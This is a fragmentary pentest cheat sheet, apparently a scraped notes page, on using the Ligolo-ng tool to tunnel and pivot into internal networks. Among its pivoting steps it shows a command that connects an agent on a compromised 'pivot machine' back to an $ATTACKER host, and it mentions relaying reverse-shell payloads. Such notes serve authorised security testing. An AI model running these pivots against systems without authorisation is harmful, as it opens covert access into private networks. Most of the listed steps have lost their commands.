Ligolo-ng
Ligolo-ng
Github repo: https://github.com/nicocha30/ligolo-ng
Precompiled Binaries: https://github.com/nicocha30/ligolo-ng/releases
OS
Simple Tunneling
1) On the attacker machine, start a listener
sudo ./proxy [-autocert | -selfcert] -laddr 0.0.0.0:4432) On the pivot machine, start the agent
./agent -connect $ATTACKER:443 [-ignore-cert]Behind a proxy
1) On the attacker machine, start the listener with HTTPS
2) On the pivot machine, start the agent and specify the proxy address
Double Pivoting
1) On the attacker machine, start the listener
2) On the first pivot machine, start the agent
3) Then, on the server select the opened session and start a new listener
4) Then, on the second pivot machine, run the agent and connect it to the first agent
Build
Setup
Linux
Windows
Start the proxy server on your Command and Control (C2) server (default port 11601):
Usage
TIP: If you want to tunnel the connection over a SOCKS5 proxy, you can use the --socks ip:port option. You can specify SOCKS credentials using the --socks-user and --socks-pass arguments.
A session should appear on the proxy server.
Use the session command to select the agent.
Display the network configuration of the agent using the ifconfig command:
Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.
Start the tunnel on the proxy
You can also specify a custom tuntap interface using the --tun iface option:
You can now access the 192.168.0.0/24 agent network from the proxy server.
Examples:
Agent Binding/Listening
You can listen to ports on the agent and redirect connections to your control/proxy server.
In a ligolo session, use the listener_add command.
On the proxy:
TIP: This is very useful when using reverse tcp/udp payloads.
You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:
Access to agent's local ports (127.0.0.1)
If you need to access the local ports of the currently connected agent, there's a "magic" IP hardcoded in Ligolo-ng: 240.0.0.1 ( This IP address is part of an unused IPv4 subnet). If you query this IP address, Ligolo-ng will automatically redirect traffic to the agent's local IP address (127.0.0.1).
Last updated